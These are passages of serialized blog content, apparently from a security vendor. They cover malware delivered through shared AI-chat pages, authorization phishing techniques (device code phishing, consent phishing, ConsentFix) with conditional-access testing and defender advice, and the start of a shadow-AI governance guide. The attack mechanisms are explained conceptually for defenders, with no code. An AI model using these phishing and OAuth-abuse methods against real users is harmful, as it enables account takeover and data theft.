",{"data":4811,"content":4813,"nodeType":795},{"uri":4812},"https:\u002F\u002Fwww.helpnetsecurity.com\u002F2026\u002F05\u002F27\u002Fdeno-rat-malware-fake-chatgpt-claude-installers\u002F",[4814],{"data":4815,"marks":4816,"value":4817,"nodeType":503},{},[],"fake ChatGPT and Claude installers on GitHub and SourceForge",{"data":4819,"marks":4820,"value":4821,"nodeType":503},{},[]," have been delivering the DinDoor backdoor and a Deno-based RAT via repositories that mimic legitimate developer tool distributions.",{"data":4823,"content":4824,"nodeType":670},{},[4825],{"data":4826,"marks":4827,"value":4828,"nodeType":503},{},[],"The structural problem is that every one of these platforms is genuinely legitimate, and the security controls that evaluate them — domain reputation, email authentication, URL categorization — confirm them as trusted because they are trusted. This attack extends this pattern into new territory by weaponizing the content-sharing features of AI chatbot platforms specifically, but the underlying principles are the same. ",{"data":4830,"content":4831,"nodeType":730},{},[],{"data":4833,"content":4834,"nodeType":660},{},[4835],{"data":4836,"marks":4837,"value":4839,"nodeType":503},{},[4838],{"type":667},"Impact analysis",{"data":4841,"content":4842,"nodeType":670},{},[4843,4847,4855],{"data":4844,"marks":4845,"value":4846,"nodeType":503},{},[],"Shared-chat malware delivery exploits a structural property of AI platforms that traditional security controls aren't designed to handle. Domain reputation, URL categorization, and safe browsing databases all treat chatgpt.com and claude.ai as trusted — because they are. Using these trusted pages to link off to further convincing-looking pages hosting malware allows the attacker to run campaigns that blend in, as well as rotate the phishing delivery pages later in the chain should they ever be flagged, allowing the campaign to continue without interruption (a well known ",{"data":4848,"content":4850,"nodeType":795},{"uri":4849},"https:\u002F\u002Fphishing-techniques.pushsecurity.com\u002F",[4851],{"data":4852,"marks":4853,"value":4854,"nodeType":503},{},[],"detection evasion technique",{"data":4856,"marks":4857,"value":4858,"nodeType":503},{},[],"). ",{"data":4860,"content":4861,"nodeType":670},{},[4862],{"data":4863,"marks":4864,"value":4865,"nodeType":503},{},[],"What makes the rendered-page variant particularly concerning is that it eliminates the most obvious red flag in the earlier attacks. The Claude.ai conversation variants required the victim to recognize that a shared chat instructing them to paste terminal commands might be suspicious — a tall order for many users, but at least the attack surface was visible. The rendered-page variant shows nothing that looks like an attack. It presents what appears to be a routine service disruption with a reasonable call to action: download the desktop app to continue using ChatGPT. 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Authentication controls are genuinely getting harder to beat (though even with passkeys, not impossible, as shown in ",[],{},{"nodeType":795,"data":7242,"content":7243},{"uri":3667},[7244],{"nodeType":503,"value":2308,"marks":7245,"data":7246},[],{},{"nodeType":503,"value":7248,"marks":7249,"data":7250}," — shown in the video below).",[],{},{"nodeType":670,"data":7252,"content":7253},{},[7254,7258,7265],{"nodeType":503,"value":7255,"marks":7256,"data":7257},"So it makes sense that attackers are looking for alternatives. In 2026, we’ve seen ",[],{},{"nodeType":795,"data":7259,"content":7260},{"uri":2526},[7261],{"nodeType":503,"value":3242,"marks":7262,"data":7264},[7263],{"type":803},{},{"nodeType":503,"value":7266,"marks":7267,"data":7268}," explode into mainstream adoption, with 30+ distinct kits now offering the technique (this number jumps every time we write a new update). ",[],{},{"nodeType":670,"data":7270,"content":7271},{},[7272,7276,7281,7285,7289],{"nodeType":503,"value":7273,"marks":7274,"data":7275},"Device code phishing sees the attacker target the authorization layer instead — OAuth consent flows that operate ",[],{},{"nodeType":503,"value":7277,"marks":7278,"data":7280},"after",[7279],{"type":2144},{},{"nodeType":503,"value":7282,"marks":7283,"data":7284}," authentication has already succeeded. We're calling this class of attack ",[],{},{"nodeType":503,"value":2476,"marks":7286,"data":7288},[7287],{"type":667},{},{"nodeType":503,"value":7290,"marks":7291,"data":7292},", and it represents a structural shift in how identity attacks work.",[],{},{"nodeType":670,"data":7294,"content":7295},{},[7296,7300,7307,7311,7317],{"nodeType":503,"value":7297,"marks":7298,"data":7299},"But device code phishing is one technique in a broader shift. ConsentFix, ",[],{},{"nodeType":795,"data":7301,"content":7302},{"uri":2558},[7303],{"nodeType":503,"value":7304,"marks":7305,"data":7306},"first discovered by Push in December 2025",[],{},{"nodeType":503,"value":7308,"marks":7309,"data":7310},", has already been ",[],{},{"nodeType":795,"data":7312,"content":7313},{"uri":2570},[7314],{"nodeType":503,"value":2573,"marks":7315,"data":7316},[],{},{"nodeType":503,"value":7318,"marks":7319,"data":7320},". ",[],{},{"nodeType":714,"data":7322,"content":7326},{"target":7323},{"sys":7324},{"id":7325,"type":719,"linkType":720},"3tRYNcUvN7KeFqzaGb2Cmn",[],{"nodeType":730,"data":7328,"content":7329},{},[],{"nodeType":660,"data":7331,"content":7332},{},[7333],{"nodeType":503,"value":7334,"marks":7335,"data":7337},"Authentication phishing vs. authorization phishing",[7336],{"type":667},{},{"nodeType":670,"data":7339,"content":7340},{},[7341],{"nodeType":503,"value":7342,"marks":7343,"data":7344},"Authentication phishing targets the login — the moment a user proves their identity. AiTM reverse-proxy kits like Tycoon2FA and Sneaky2FA relay credentials and session tokens in real time, effectively defeating MFA by capturing the authenticated session as it's created. This has been the dominant phishing technique since roughly 2023, and it remains the most common attack we come up against in the wild.",[],{},{"nodeType":670,"data":7346,"content":7347},{},[7348],{"nodeType":503,"value":7349,"marks":7350,"data":7351},"Authorization phishing targets what happens after the login. Instead of stealing a session from the authentication flow, these attacks abuse OAuth authorization mechanisms — consent grants, device code flows, and token exchanges. The attacker never touches the authentication flow at all.",[],{},{"nodeType":714,"data":7353,"content":7357},{"target":7354},{"sys":7355},{"id":7356,"type":719,"linkType":720},"3ADEkZ8KQKs4ndH1T7PdaX",[],{"nodeType":734,"data":7359,"content":7360},{},[7361],{"nodeType":503,"value":7362,"marks":7363,"data":7365},"Consent phishing: the classic OAuth attack",[7364],{"type":667},{},{"nodeType":670,"data":7367,"content":7368},{},[7369,7373],{"nodeType":503,"value":265,"marks":7370,"data":7372},[7371],{"type":667},{},{"nodeType":503,"value":7374,"marks":7375,"data":7376}," is the oldest of the three, and the classic OAuth attack. The attacker creates a malicious third-party application and tricks the user into granting it permissions via an OAuth consent prompt. The app then uses those permissions to access the user's data via API.",[],{},{"nodeType":670,"data":7378,"content":7379},{},[7380,7384,7392],{"nodeType":503,"value":7381,"marks":7382,"data":7383},"Identity providers have substantially hardened their default configurations against consent phishing. Most platforms today do not allow users to consent to apps that have not already been admin-consented into the tenant. For example, ",[],{},{"nodeType":795,"data":7385,"content":7387},{"uri":7386},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fhow-consent-phishing-is-evolving\u002F",[7388],{"nodeType":503,"value":7389,"marks":7390,"data":7391},"Microsoft now blocks unverified third-party app consent by default",[],{},{"nodeType":503,"value":7393,"marks":7394,"data":7395},", as does Google, and GitHub restricts OAuth apps to org-owner approval. ",[],{},{"nodeType":714,"data":7397,"content":7401},{"target":7398},{"sys":7399},{"id":7400,"type":719,"linkType":720},"1KJGoZABIAsuXG5QjBVWOY",[],{"nodeType":734,"data":7403,"content":7404},{},[7405],{"nodeType":503,"value":7406,"marks":7407,"data":7409},"Device code phishing: the breakout threat of 2026",[7408],{"type":667},{},{"nodeType":670,"data":7411,"content":7412},{},[7413,7417,7421,7428,7432,7439],{"nodeType":503,"value":260,"marks":7414,"data":7416},[7415],{"type":667},{},{"nodeType":503,"value":7418,"marks":7419,"data":7420}," targets a different OAuth flow entirely: the ",[],{},{"nodeType":795,"data":7422,"content":7423},{"uri":3490},[7424],{"nodeType":503,"value":7425,"marks":7426,"data":7427},"RFC 8628 device authorization grant",[],{},{"nodeType":503,"value":7429,"marks":7430,"data":7431},", originally designed for input-constrained devices like smart TVs and IoT hardware. The attacker generates a code, delivers it to the victim via a phishing page that auto-polls for a fresh code on page load (which can arrive over email, Teams messages, LinkedIn DMs, voice calls, malvertising, or compromised websites), and the victim enters the code on the real device code for the target app. In the wild this is usually Microsoft, but last year's ",[],{},{"nodeType":795,"data":7433,"content":7434},{"uri":2204},[7435],{"nodeType":503,"value":7436,"marks":7437,"data":7438},"ShinyHunters",[],{},{"nodeType":503,"value":7440,"marks":7441,"data":7442}," campaign saw Salesforce targeted too.",[],{},{"nodeType":714,"data":7444,"content":7448},{"target":7445},{"sys":7446},{"id":7447,"type":719,"linkType":720},"79aVRaPAuAaiNZvTspbmHK",[],{"nodeType":670,"data":7450,"content":7451},{},[7452],{"nodeType":503,"value":7453,"marks":7454,"data":7455},"This grants the attacker an access token scoped to whichever application was targeted, and critically, because device code phishing targets apps that are already consented in the user's tenant (usually first-party Microsoft apps), it sidesteps the consent restrictions that have made traditional consent phishing harder. ",[],{},{"nodeType":670,"data":7457,"content":7458},{},[7459],{"nodeType":503,"value":7460,"marks":7461,"data":7462},"In Microsoft environments, the impact can extend beyond API access — if the attacker targets the Microsoft Authentication Broker, they can register a virtual device against the victim's account and escalate to a full Primary Refresh Token, gaining an interactive SSO-enabled session that can laterally move across any SSO-joined application.",[],{},{"nodeType":734,"data":7464,"content":7465},{},[7466],{"nodeType":503,"value":7467,"marks":7468,"data":7470},"ConsentFix: the new ClickFix-OAuth hybrid",[7469],{"type":667},{},{"nodeType":670,"data":7472,"content":7473},{},[7474,7478],{"nodeType":503,"value":1739,"marks":7475,"data":7477},[7476],{"type":667},{},{"nodeType":503,"value":7479,"marks":7480,"data":7481}," occupies an interesting middle ground. It targets the same OAuth flow as consent phishing — the authorization code grant (RFC 6749) — but it targets pre-approved first-party apps rather than attacker-created third-party apps, which means the consent restrictions that shut down traditional consent phishing don't apply.",[],{},{"nodeType":670,"data":7483,"content":7484},{},[7485,7488,7496],{"nodeType":503,"value":21,"marks":7486,"data":7487},[],{},{"nodeType":795,"data":7489,"content":7490},{"uri":2558},[7491],{"nodeType":503,"value":7492,"marks":7493,"data":7495},"First observed in Russia-linked APT29 campaigns in late 2025",[7494],{"type":803},{},{"nodeType":503,"value":7497,"marks":7498,"data":7499},", the original attacks appeared on compromised websites and were tightly targeted — the attack only activated for specific email domains, allowing non-targets to use the site as normal. ConsentFix combines ClickFix-style clipboard injection with OAuth consent abuse, exploiting apps that use a localhost redirect URI as part of the handshake to capture authorization codes that are usually picked up by a server-side callback.",[],{},{"nodeType":670,"data":7501,"content":7502},{},[7503,7507,7514],{"nodeType":503,"value":7504,"marks":7505,"data":7506},"Push detected and blocked ConsentFix the first time it was seen in the wild, and within months of disclosure, a ",[],{},{"nodeType":795,"data":7508,"content":7509},{"uri":2570},[7510],{"nodeType":503,"value":7511,"marks":7512,"data":7513},"criminal ConsentFix toolkit",[],{},{"nodeType":503,"value":7515,"marks":7516,"data":7517}," appeared on the XSS forum, making the technique more widely available.",[],{},{"nodeType":730,"data":7519,"content":7520},{},[],{"nodeType":660,"data":7522,"content":7523},{},[7524],{"nodeType":503,"value":7525,"marks":7526,"data":7528},"What defenders think works (and what actually does)",[7527],{"type":667},{},{"nodeType":670,"data":7530,"content":7531},{},[7532],{"nodeType":503,"value":7533,"marks":7534,"data":7535},"As we've already established, authentication controls like passkeys have no impact on these attacks, which can come as a surprise for those that have bought into the \"phishing-resistant\" tag of passkeys at face value. That isn't to diminish their value, the passkey isn't phished in this scenario, it's just being circumvented.",[],{},{"nodeType":670,"data":7537,"content":7538},{},[7539],{"nodeType":503,"value":7540,"marks":7541,"data":7542},"Passkeys remain the strongest available protection against AiTM and credential theft. But they address a different layer of the problem, and treating them as a complete answer to phishing creates a dangerous blind spot as attackers shift to authorization-layer techniques.",[],{},{"nodeType":734,"data":7544,"content":7545},{},[7546],{"nodeType":503,"value":7547,"marks":7548,"data":7550},"Evaluating post-authentication controls like Conditional Access Policies",[7549],{"type":667},{},{"nodeType":670,"data":7552,"content":7553},{},[7554],{"nodeType":503,"value":7555,"marks":7556,"data":7557},"Conditional access policies are the primary layer of defense cited against these authorization-layer attacks. We tested the most cited conditional access controls against both device code phishing and ConsentFix, and the results vary significantly.",[],{},{"nodeType":670,"data":7559,"content":7560},{},[7561,7565,7570],{"nodeType":503,"value":7562,"marks":7563,"data":7564},"Since the policy for ",[],{},{"nodeType":503,"value":7566,"marks":7567,"data":7569},"require phishing-resistant authentication",[7568],{"type":667},{},{"nodeType":503,"value":7571,"marks":7572,"data":7573}," pertains to the enforcement of passkey-based logins, this has no impact here as we discussed above.",[],{},{"nodeType":670,"data":7575,"content":7576},{},[7577,7582],{"nodeType":503,"value":7578,"marks":7579,"data":7581},"Block device code flow",[7580],{"type":667},{},{"nodeType":503,"value":7583,"marks":7584,"data":7585}," is the most direct control, and it works — but only against device code phishing, not ConsentFix. It also blocks legitimate device code use cases (Azure CLI, conference room hardware, developer tooling), so organizations with real device code dependencies need per-user group or per-app exceptions that create potential gaps.",[],{},{"nodeType":670,"data":7587,"content":7588},{},[7589,7594],{"nodeType":503,"value":7590,"marks":7591,"data":7593},"Require compliant device",[7592],{"type":667},{},{"nodeType":503,"value":7595,"marks":7596,"data":7597}," is the most effective broad control. Device code flows can't present the TPM-bound proof-of-possession that device compliance requires, so they're blocked outright. However, as above, if you have legitimate uses for device code logins in your environment, you’d need to implement exceptions to this policy. ",[],{},{"nodeType":670,"data":7599,"content":7600},{},[7601],{"nodeType":503,"value":7602,"marks":7603,"data":7604},"ConsentFix, on the other hand, passes through this check. BYOD scenarios also create gaps — personal devices authenticating via browser without a Primary Refresh Token won't satisfy the compliance requirement either, for legitimate and malicious flows alike.",[],{},{"nodeType":670,"data":7606,"content":7607},{},[7608,7613],{"nodeType":503,"value":7609,"marks":7610,"data":7612},"Token protection",[7611],{"type":667},{},{"nodeType":503,"value":7614,"marks":7615,"data":7616},", currently in preview, binds refresh tokens to the device's TPM. It performed better in testing than expected for some ConsentFix scenarios — depending on the scopes requested and the target app — but it doesn't apply to all apps and resources.",[],{},{"nodeType":670,"data":7618,"content":7619},{},[7620],{"nodeType":503,"value":7621,"marks":7622,"data":7623},"Conditional access can be tricky to manage, however, particularly for larger organizations. User groups need maintaining, new apps need scoping, exceptions accumulate, and policies interact in ways that aren't always obvious from the admin console. It's easy to accidentally leave policies in report-only mode (I found this myself during testing) or create exceptions for specific apps that inadvertently open the authorization attack surface. And ticking the box doesn't tell you whether it works in practice.",[],{},{"nodeType":670,"data":7625,"content":7626},{},[7627],{"nodeType":503,"value":7628,"marks":7629,"data":7630},"Microsoft is taking additional steps to reduce the attack surface here — device code flow is blocked by default in new tenants, and they appear to be locking down apps and reply URLs to reduce the ConsentFix attack surface, including adding explicit \"this might be a phishing attack\" warnings on certain reply URLs used in ConsentFix scenarios. But the gap between a default deployment and a hardened one remains wide.",[],{},{"nodeType":714,"data":7632,"content":7636},{"target":7633},{"sys":7634},{"id":7635,"type":719,"linkType":720},"3FguCE9HzDsj94TgRzZSk6",[],{"nodeType":734,"data":7638,"content":7639},{},[7640],{"nodeType":503,"value":7641,"marks":7642,"data":7644},"What about blocking the apps themselves?",[7643],{"type":667},{},{"nodeType":670,"data":7646,"content":7647},{},[7648],{"nodeType":503,"value":7649,"marks":7650,"data":7651},"The challenge is that the apps being abused aren't malicious — they're legitimate first-party Microsoft applications like Azure CLI, Microsoft Office, and Teams. They exist in every Entra tenant by default, are pre-consented with broad permissions, and can't simply be removed.",[],{},{"nodeType":670,"data":7653,"content":7654},{},[7655],{"nodeType":503,"value":7656,"marks":7657,"data":7658},"An admin can toggle \"assignment required\" on a service principal and restrict which users can authenticate through that app, but that means pre-creating and managing user assignments for every first-party app that could be targeted. Over-restricting broadly used apps like Teams or Office may break core workflows.",[],{},{"nodeType":730,"data":7660,"content":7661},{},[],{"nodeType":660,"data":7663,"content":7664},{},[7665],{"nodeType":503,"value":7666,"marks":7667,"data":7669},"The future of authorization phishing",[7668],{"type":667},{},{"nodeType":670,"data":7671,"content":7672},{},[7673],{"nodeType":503,"value":7674,"marks":7675,"data":7676},"Several developments will determine how fast this category matures. Device code phishing is a core technique now, supported by most PhaaS vendors and bolted onto AiTM kits. ConsentFix criminal adoption is still early but could follow suit at any time. ",[],{},{"nodeType":670,"data":7678,"content":7679},{},[7680],{"nodeType":503,"value":7681,"marks":7682,"data":7683},"Non-Microsoft targets are the logical next step — device code phishing has already been demonstrated against Salesforce, and I showed off GitHub targeting in my recent webinar. Any platform that supports the authorization code grant with localhost redirect or the device authorization grant is a potential target. ",[],{},{"nodeType":714,"data":7685,"content":7689},{"target":7686},{"sys":7687},{"id":7688,"type":719,"linkType":720},"UIOVxK4yPURUu8slsKWMu",[],{"nodeType":670,"data":7691,"content":7692},{},[7693,7698,7702,7710],{"nodeType":503,"value":7694,"marks":7695,"data":7697},"But OAuth is complex, and the authorization mechanisms that have been abused so far likely don't represent the full attack surface. ",[7696],{"type":667},{},{"nodeType":503,"value":7699,"marks":7700,"data":7701},"Everything discussed so far has been initial access, but OAuth is also powerful at the persistence and lateral movement layers — an attacker who plants a malicious OAuth grant during a compromise has a ",[],{},{"nodeType":795,"data":7703,"content":7705},{"uri":7704},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fnearly-invisible-attack-chain\u002F",[7706],{"nodeType":503,"value":7707,"marks":7708,"data":7709},"stealthy persistence mechanism",[],{},{"nodeType":503,"value":7711,"marks":7712,"data":7713}," that survives credential resets and password changes, and can be extremely difficult to detect. As authorization phishing matures, we expect these post-compromise OAuth techniques to become more common too.",[],{},{"nodeType":670,"data":7715,"content":7716},{},[7717,7720,7727],{"nodeType":503,"value":1390,"marks":7718,"data":7719},[],{},{"nodeType":795,"data":7721,"content":7722},{"uri":2503},[7723],{"nodeType":503,"value":7724,"marks":7725,"data":7726},"poisoned tenant attack surface",[],{},{"nodeType":503,"value":7728,"marks":7729,"data":7730}," also remains largely undefended, which could see more typical consent phishing come back around. Historically, consent phishing involved an attacker creating a malicious app and inviting their targets to it. But you can just set up a tenant on a legit SaaS app and use that instead.",[],{},{"nodeType":670,"data":7732,"content":7733},{},[7734,7738,7745],{"nodeType":503,"value":7735,"marks":7736,"data":7737},"Most SaaS platforms let anyone create a workspace impersonating any organization, and few offer controls for admins to restrict which tenants their employees can join. We ",[],{},{"nodeType":795,"data":7739,"content":7740},{"uri":2503},[7741],{"nodeType":503,"value":7742,"marks":7743,"data":7744},"recently experienced this directly",[],{},{"nodeType":503,"value":7746,"marks":7747,"data":7748}," when an attacker created a fake OpenAI organization under our company's name and invited specific employees to join it.",[],{},{"nodeType":714,"data":7750,"content":7754},{"target":7751},{"sys":7752},{"id":7753,"type":719,"linkType":720},"1YPMilWhyTSV860PCFXxmx",[],{"nodeType":730,"data":7756,"content":7757},{},[],{"nodeType":660,"data":7759,"content":7760},{},[7761],{"nodeType":503,"value":7762,"marks":7763,"data":7765},"What defenders should actually do",[7764],{"type":667},{},{"nodeType":670,"data":7767,"content":7768},{},[7769,7774],{"nodeType":503,"value":7770,"marks":7771,"data":7773},"First, test your defenses against authorization attacks specifically.",[7772],{"type":667},{},{"nodeType":503,"value":7775,"marks":7776,"data":7777}," Don't assume that MFA, passkeys, or conditional access policies handle this. Run a device code phishing simulation against your environment and verify that your conditional access configuration actually blocks it. Test ConsentFix scenarios. If your controls rely on configuration assumptions you haven't validated, you have a gap.",[],{},{"nodeType":670,"data":7779,"content":7780},{},[7781,7786],{"nodeType":503,"value":7782,"marks":7783,"data":7785},"Second, don't treat this as exclusively a Microsoft problem. ",[7784],{"type":667},{},{"nodeType":503,"value":7787,"marks":7788,"data":7789},"Device code phishing can work against several apps. GitHub exposes broad scopes including full repository access and uses device code as the default CLI sign-in method — meaning developers encounter legitimate device code flows routinely, making phishing lures harder to distinguish from normal workflow. ConsentFix-style attacks targeting authorization code grants with localhost redirects could also expand beyond Microsoft as the technique matures.",[],{},{"nodeType":670,"data":7791,"content":7792},{},[7793,7798],{"nodeType":503,"value":7794,"marks":7795,"data":7797},"Third, update your security awareness training.",[7796],{"type":667},{},{"nodeType":503,"value":7799,"marks":7800,"data":7801}," Most employees have no concept of authorization phishing — it doesn't look or feel like any phishing that they're used to. There's no suspicious login page, no credential entry on an unfamiliar domain. Traditional awareness training does not prepare users for this.",[],{},{"nodeType":670,"data":7803,"content":7804},{},[7805],{"nodeType":503,"value":7806,"marks":7807,"data":7808},"But to detect and block these attacks as they happen, you need to be in the browser. Push detects and blocks authorization attacks in real time, when the user is tricked into performing the malicious consent grant. We detected ConsentFix the first time it appeared in the wild, before any other vendor, and device code phishing detection has been live since the technique first entered mainstream use.",[],{},{"nodeType":734,"data":7810,"content":7811},{},[7812],{"nodeType":503,"value":7813,"marks":7814,"data":7816},"Watch the research",[7815],{"type":667},{},{"nodeType":670,"data":7818,"content":7819},{},[7820,7824,7832,7836,7844],{"nodeType":503,"value":7821,"marks":7822,"data":7823},"I recently talked about authorization phishing at ",[],{},{"nodeType":795,"data":7825,"content":7827},{"uri":7826},"https:\u002F\u002Fbsideslv.org\u002Fschedule3#PA",[7828],{"nodeType":503,"value":7829,"marks":7830,"data":7831},"BSides Las Vegas 2026",[],{},{"nodeType":503,"value":7833,"marks":7834,"data":7835},", walking through live demonstrations of device code phishing (including against passkey-protected accounts), ConsentFix, and conditional access policy bypass testing. The full talk is available to ",[],{},{"nodeType":795,"data":7837,"content":7839},{"uri":7838},"https:\u002F\u002Fwww.youtube.com\u002Flive\u002F9wx9Nt3JWSs",[7840],{"nodeType":503,"value":7841,"marks":7842,"data":7843},"watch on YouTube",[],{},{"nodeType":503,"value":7845,"marks":7846,"data":7847}," (starts at 27:12).",[],{},"Authorization phishing: why attackers stopped targeting the login","Why attackers are pivoting to authorization attacks to get around authentication controls, how they work, and what security teams can do about them.","2026-08-24T00:00:00.000Z","authorization-phishing",{"items":7853},[7854,7856],{"sys":7855,"name":3005},{"id":3004},{"sys":7857,"name":3009},{"id":3008},{"items":7859},[7860],{"fullName":7861,"firstName":7862,"jobTitle":7863,"profilePicture":7864},"Luke Jennings","Luke","Vice President, R&D",{"url":7865},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002F4Hosb4zKi1dA0PUyDLMe1h\u002F27e09d894861f2196ba794037986fb08\u002FT016S22KZ96-U02NVQM7ZD4-57761d542d83-512.jpeg",{"__typename":2126,"sys":7867,"content":7869,"title":8752,"synopsis":8753,"hashTags":60,"publishedDate":8754,"slug":8755,"tagsCollection":8756,"authorsCollection":8766},{"id":7868},"7MB9tEe6mrdNXbkYVhgyWn",{"json":7870},{"nodeType":656,"data":7871,"content":7872},{},[7873,7880,7887,7935,7942,7949,8012,8018,8021,8029,8036,8048,8054,8066,8072,8084,8090,8093,8101,8108,8127,8138,8145,8152,8155,8163,8170,8194,8200,8207,8223,8239,8245,8261,8277,8284,8291,8298,8304,8307,8315,8322,8329,8336,8352,8359,8384,8390,8397,8403,8415,8422,8428,8434,8437,8445,8452,8470,8477,8485,8492,8504,8520,8526,8538,8570,8577,8593,8599,8611,8617,8632,8648,8654,8661,8668,8671,8679,8686,8693,8700,8707,8714,8721,8724,8730,8736],{"nodeType":670,"data":7874,"content":7875},{},[7876],{"nodeType":503,"value":7877,"marks":7878,"data":7879},"Every security team that's blocked an AI tool at the network level has had the same experience three months later: The tool they blocked isn't in use, but a dozen they've never heard of are.",[],{},{"nodeType":670,"data":7881,"content":7882},{},[7883],{"nodeType":503,"value":7884,"marks":7885,"data":7886},"The block didn't stop employees from using AI. It just prevented the security team from seeing what’s actually happening.",[],{},{"nodeType":670,"data":7888,"content":7889},{},[7890,7894,7902,7906,7911,7914,7919,7923,7931],{"nodeType":503,"value":7891,"marks":7892,"data":7893},"The data backs up this pattern. ",[],{},{"nodeType":795,"data":7895,"content":7897},{"uri":7896},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fwhat-push-data-reveals-about-the-state-of-shadow-ai\u002F",[7898],{"nodeType":503,"value":7899,"marks":7900,"data":7901},"Push telemetry",[],{},{"nodeType":503,"value":7903,"marks":7904,"data":7905}," shows that the average organization has ",[],{},{"nodeType":503,"value":7907,"marks":7908,"data":7910},"16 AI apps, 17 AI browser extensions,",[7909],{"type":667},{},{"nodeType":503,"value":4645,"marks":7912,"data":7913},[],{},{"nodeType":503,"value":7915,"marks":7916,"data":7918},"17 AI OAuth integrations",[7917],{"type":667},{},{"nodeType":503,"value":7920,"marks":7921,"data":7922}," in active use during a typical week — most unapproved. Meanwhile, ",[],{},{"nodeType":795,"data":7924,"content":7926},{"uri":7925},"https:\u002F\u002Fwww.okta.com\u002Fnewsroom\u002Farticles\u002Fai-agents-at-work-2026-agentic-enterprise-security\u002F",[7927],{"nodeType":503,"value":7928,"marks":7929,"data":7930},"Okta found",[],{},{"nodeType":503,"value":7932,"marks":7933,"data":7934}," that 80% of employees who use unapproved AI tools do so because it's easier to use their own accounts, and 57% because the approval process is too slow.",[],{},{"nodeType":670,"data":7936,"content":7937},{},[7938],{"nodeType":503,"value":7939,"marks":7940,"data":7941},"The organizations getting this right have stopped treating AI governance as an access-control problem — which tools to allow, which to block — and started treating it as an invitation to build out an infrastructure to enable appropriate use. Employees are going to use the tools they need to get their work done. The question is whether they'll use them on a path you built and instrumented, or on one they carved themselves.",[],{},{"nodeType":670,"data":7943,"content":7944},{},[7945],{"nodeType":503,"value":7946,"marks":7947,"data":7948},"This guide walks through how to build that paved path. Using Push, you can:",[],{},{"nodeType":781,"data":7950,"content":7951},{},[7952,7962,7972,7982,7992,8002],{"nodeType":785,"data":7953,"content":7954},{},[7955],{"nodeType":670,"data":7956,"content":7957},{},[7958],{"nodeType":503,"value":7959,"marks":7960,"data":7961},"Identify shadow AI, including personal accounts on approved corporate apps, AI browser extensions, OAuth integrations into sensitive systems, and AI browser usage.",[],{},{"nodeType":785,"data":7963,"content":7964},{},[7965],{"nodeType":670,"data":7966,"content":7967},{},[7968],{"nodeType":503,"value":7969,"marks":7970,"data":7971},"Enforce policies on data flows into and out of AI apps, including blocking unapproved file uploads, downloads, and clipboard pastes; and monitoring AI chat transcripts.",[],{},{"nodeType":785,"data":7973,"content":7974},{},[7975],{"nodeType":670,"data":7976,"content":7977},{},[7978],{"nodeType":503,"value":7979,"marks":7980,"data":7981},"Use just-in-time guardrails to intercept users accessing unapproved AI tools and point them at approved alternatives.",[],{},{"nodeType":785,"data":7983,"content":7984},{},[7985],{"nodeType":670,"data":7986,"content":7987},{},[7988],{"nodeType":503,"value":7989,"marks":7990,"data":7991},"Block personal account access to AI apps, even those approved for corporate use, preventing data loss in unapproved tenants.",[],{},{"nodeType":785,"data":7993,"content":7994},{},[7995],{"nodeType":670,"data":7996,"content":7997},{},[7998],{"nodeType":503,"value":7999,"marks":8000,"data":8001},"Prevent unwanted MCP connections with app-agnostic controls.",[],{},{"nodeType":785,"data":8003,"content":8004},{},[8005],{"nodeType":670,"data":8006,"content":8007},{},[8008],{"nodeType":503,"value":8009,"marks":8010,"data":8011},"Automate a lot of the work so you don’t burn out your team as the AI landscape continues to shift.",[],{},{"nodeType":714,"data":8013,"content":8017},{"target":8014},{"sys":8015},{"id":8016,"type":719,"linkType":720},"29N8YH9As3GHypOve3br80",[],{"nodeType":730,"data":8019,"content":8020},{},[],{"nodeType":660,"data":8022,"content":8023},{},[8024],{"nodeType":503,"value":8025,"marks":8026,"data":8028},"What is shadow AI, and why can't you manage it like shadow IT?",[8027],{"type":667},{},{"nodeType":670,"data":8030,"content":8031},{},[8032],{"nodeType":503,"value":8033,"marks":8034,"data":8035},"Shadow AI is any use of AI tools, services, or integrations that happens outside an organization's security governance and visibility. Security teams have been managing shadow SaaS for years, but shadow AI can't be addressed with the same playbook — for three reasons.",[],{},{"nodeType":670,"data":8037,"content":8038},{},[8039,8044],{"nodeType":503,"value":8040,"marks":8041,"data":8043},"First",[8042],{"type":667},{},{"nodeType":503,"value":8045,"marks":8046,"data":8047},", it spans multiple categories that each need different controls: unapproved AI apps, personal accounts on approved corporate AI tools, AI browser extensions, and OAuth integrations into corporate systems. Blocking unapproved apps doesn't address personal accounts on approved ones, and neither solves the extension or OAuth problem. ",[],{},{"nodeType":714,"data":8049,"content":8053},{"target":8050},{"sys":8051},{"id":8052,"type":719,"linkType":720},"2hsKQ9DEspflhmtR0bE7QY",[],{"nodeType":670,"data":8055,"content":8056},{},[8057,8062],{"nodeType":503,"value":8058,"marks":8059,"data":8061},"Second",[8060],{"type":667},{},{"nodeType":503,"value":8063,"marks":8064,"data":8065},", the tools most organizations rely on to manage shadow SaaS — SWGs, CASBs, EDR, IdP logs — are structurally blind to shadow AI. An SWG sees that someone visited an AI domain but can't tell you whether they logged in, pasted source code into a prompt, or granted OAuth access to your Google Workspace tenant. EDR doesn't see browser-layer activity at all. IdP logs capture OAuth grants routed through the identity provider but miss tools accessed via direct signup or personal accounts. Instead, the activity security teams need to see happens primarily inside the browser.",[],{},{"nodeType":714,"data":8067,"content":8071},{"target":8068},{"sys":8069},{"id":8070,"type":719,"linkType":720},"1vE0dyAKdnTSjyAJ4Xoadd",[],{"nodeType":670,"data":8073,"content":8074},{},[8075,8080],{"nodeType":503,"value":8076,"marks":8077,"data":8079},"Third",[8078],{"type":667},{},{"nodeType":503,"value":8081,"marks":8082,"data":8083},", the risk profile is different. Shadow AI tools increasingly function as hubs — connected via OAuth integrations and MCP to email, cloud storage, code repositories, and other high-value systems. They leak sensitive data outward (employees paste source code, credentials, and internal documents into prompts daily) while simultaneously expanding the attack surface inward (compromise a single AI app and an attacker inherits whatever access the employee granted it, turning one ungoverned tool into a pivot point across the SaaS estate). ",[],{},{"nodeType":714,"data":8085,"content":8089},{"target":8086},{"sys":8087},{"id":8088,"type":719,"linkType":720},"3ldZ23OORTu7INBfSnE7R7",[],{"nodeType":730,"data":8091,"content":8092},{},[],{"nodeType":660,"data":8094,"content":8095},{},[8096],{"nodeType":503,"value":8097,"marks":8098,"data":8100},"Why blocking AI usage fails",[8099],{"type":667},{},{"nodeType":670,"data":8102,"content":8103},{},[8104],{"nodeType":503,"value":8105,"marks":8106,"data":8107},"The instinct to block AI tools makes sense. Executives are asking about AI risk to the business, a new tool 